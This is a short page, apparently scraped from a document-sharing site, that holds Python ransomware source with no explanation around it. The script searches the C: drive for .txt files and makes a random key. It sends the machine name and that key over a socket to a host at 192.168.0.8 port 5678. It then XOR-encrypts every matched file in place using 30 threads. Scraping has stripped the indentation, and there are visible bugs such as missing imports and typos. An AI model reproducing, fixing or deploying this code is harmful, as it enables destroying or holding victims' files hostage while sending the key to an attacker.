Professional Documents
Culture Documents
import random
import socket
from typing import Tuple
encrypted_ext =('.txt',)
file_paths =[]
for root,dirs, files in os.walk('C:\\'):
for file in files :
file_path,file_ext = os.path.splitext(root+'\\'+file)
if file_ext in encrypted_ext :
file_paths.append(root+'\\'+file)
for f in file_paths:
print(f)
key=''
encryption_level= 128 // 8
char_pool=''
for i in range(0x00,0xFF):
char_pool+= (chr(i))
print(char_pool)
for i in range(encryption_level):
key+= random.choice(char_pool)
print(key)
Hostname= os.getenv('COMPUTERNAME')
ip_adress='192.168.0.8'
port=5678
time= datatime.now()
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((ip_adress,port))
s.send(f'[{time}] - {Hostname}:{key}'.encode('utf-8'))
def encrypt(key):
while q.not_empty:
file = q.get()
index = 0
max_index = encryption_level - 1
try:
with open(file, 'rb') as f:
data = f.read()
with open(file, 'wb') as f:
for byte in data:
xor_byte = byte ^ ord(key[index])
f.write(xor_byte.to_bytes(1, 'little'))
if index >= max_index:
index = 0
else:
index += 1
except:
print(f'failed to encrypt {file}')
pass
q.task_done()
q = queue()
for file in file_paths:
q.put(file)
for i in range(30):
thread = Thread(target=encrypt, args=(key,),daemon=True
thread.start()
q.join()
print('encryption was succesfull ')